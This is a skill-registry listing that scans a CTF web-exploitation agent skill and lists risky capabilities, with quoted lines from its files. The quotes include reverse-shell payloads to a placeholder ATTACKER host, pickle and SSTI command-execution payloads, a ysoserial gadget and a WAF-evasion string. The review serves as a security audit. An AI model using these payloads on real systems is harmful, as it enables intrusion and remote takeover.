← All skills
CTF•Web 漏洞
74 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By asdfgh1445/ctf-super-hub (GitHub) · security · 847 stars · scanned at commit 7715719
用于 XSS、SQL 注入、SSTI、SSRF、XXE、JWT、鉴权绕过、文件上传、请求走私、OAuth/OIDC、SAML 与原型污染等 Web 类 CTF 题;触发名:ctf-web
Works with any agent that supports SKILL.md skills.
What this skill can do
Downloads and installs other software
This is disclosed by the author in the skill's SKILL.md or README.
Found in 4 places.
Show 1 more
Runs commands on your computer
The author does not mention this. Expected for a security skill.
Found in 26 places.
Show 17 more
- ctf-web/SKILL.md, line 34
go install github.com/ffuf/ffuf/v2@latest - ctf-web/SKILL.md, line 83
curl -sI https://target.com - ctf-web/cves.md, line 137
Chain with `PYTHONWARNINGS=ignore::antigravity.Foo::0` + `BROWSER=/bin/sh -c "cat /flag" %s` for RCE. - ctf-web/cves.md, line 264
java.lang.Runtime.getRuntime().exec(["/bin/bash", "-c", "CMD"]) - ctf-web/field-notes.md, line 165
<%- global.process.mainModule.require('child_process').execSync('id') %> - ctf-web/field-notes.md, line 239
- **LaTeX restricted write18 bypass:** When `write18` is restricted, `mpost -ini "-tex=bash -c (cmd)" file.mp` uses mpost's whitelisted status to execute arbitr - ctf-web/node-and-prototype.md, line 107
const result = proc.mainModule.require("child_process").execSync("id").toString(); - ctf-web/server-side-advanced-2.md, line 111
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 'bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}' - ctf-web/server-side-advanced-2.md, line 423
**Pattern (pdfmaker):** When `pdflatex` runs with `write18` in restricted mode (only whitelisted commands like `mpost` allowed), exploit `mpost`'s `-tex` flag t - ctf-web/server-side-advanced-2.md, line 432
\immediate\write18{mpost -ini "-tex=bash -c (cat${IFS}/flag)>out.log" "test.mp"} - ctf-web/server-side-advanced-4.md, line 331
When keywords like `child_process`, `execSync`, `mainModule` are blocked (403 response with "WAF Alert"): - ctf-web/server-side-advanced-4.md, line 340
'\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73' // child_process - ctf-web/server-side-deser.md, line 85
return (os.system, ('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"',)) - ctf-web/server-side-deser.md, line 90
return (exec, ('import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);sub - ctf-web/server-side-deser.md, line 149
**Key insight:** The pickle VM executes instructions sequentially. Removing the STOP opcode from the first serialized object causes the deserializer to continue - ctf-web/server-side-deser.md, line 378
return (subprocess.check_output, (['cat', '/flag.txt'],)) - ctf-web/server-side-deser.md, line 432
return (subprocess.Popen, (('/bin/sh',),))
and 6 more places
Sends data to these websites: target.com, target
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 199 places.
Show 17 more
- ctf-web/SKILL.md, line 99
curl "https://target.com/page?name={{config}}" - ctf-web/SKILL.md, line 102
curl -v -X POST https://target.com/api -H "Content-Type: application/json" -d '{}' - ctf-web/auth-and-access-2.md, line 28
requests.post("http://target/register", - ctf-web/auth-and-access-2.md, line 31
requests.post("http://target/login", data={"name": "root", "password": "anything"}) - ctf-web/auth-and-access.md, line 99
curl -H "Cookie: role=admin" - ctf-web/auth-and-access.md, line 100
curl -H "Cookie: isAdmin=true" - ctf-web/auth-and-access.md, line 114
curl -i -c jar.txt http://target/admin/login - ctf-web/auth-and-access.md, line 117
curl -b jar.txt http://target/admin - ctf-web/auth-and-access.md, line 187
r = requests.post("http://target/auth", - ctf-web/auth-and-access.md, line 252
curl 'http://target/../../proc/self/maps' - ctf-web/auth-and-access.md, line 254
curl -H 'Range: bytes=94200000000000-94200000010000' 'http://target/../../proc/self/mem' - ctf-web/auth-and-access.md, line 305
curl 'http://target/%61dmin/flag' - ctf-web/auth-and-access.md, line 331
curl -X POST http://target/api/export/chat \ - ctf-web/auth-and-access.md, line 337
curl -X POST http://target/api/export%2Fchat \ - ctf-web/auth-and-access.md, line 376
curl -X POST http://target/api/export/chat \ - ctf-web/auth-and-access.md, line 402
curl -X GET http://target/logbook -H "X-Pirate: Jack" - ctf-web/auth-and-access.md, line 405
curl -X TRACE http://target/logbook -H "X-Pirate: Jack"
and 179 more places
Reads your saved credentials, such as SSH keys or .env files
This is disclosed by the author in the skill's SKILL.md or README.
Found in 1 place.
Safer alternatives
Low-risk skills in the same category (security) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'ctf-web' ] || [ -L ~/.agents/skills/'ctf-web' ]; then echo 'A skill folder named ctf-web already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/asdfgh1445/ctf-super-hub' "$d" && git -C "$d" checkout --quiet '7715719738578b36b0a84b74aeb0de41bda0eaae' -- 'ctf-web' && mkdir -p ~/.agents/skills && cp -R "$d"/'ctf-web' ~/.agents/skills/'ctf-web' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'ctf-web' ~/.claude/skills/'ctf-web' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for asdfgh1445/ctf-super-hub shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/asdfgh1445/ctf-super-hub/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | 7715719 | 74 |
| 2026-11-07 | 7715719 | 74 |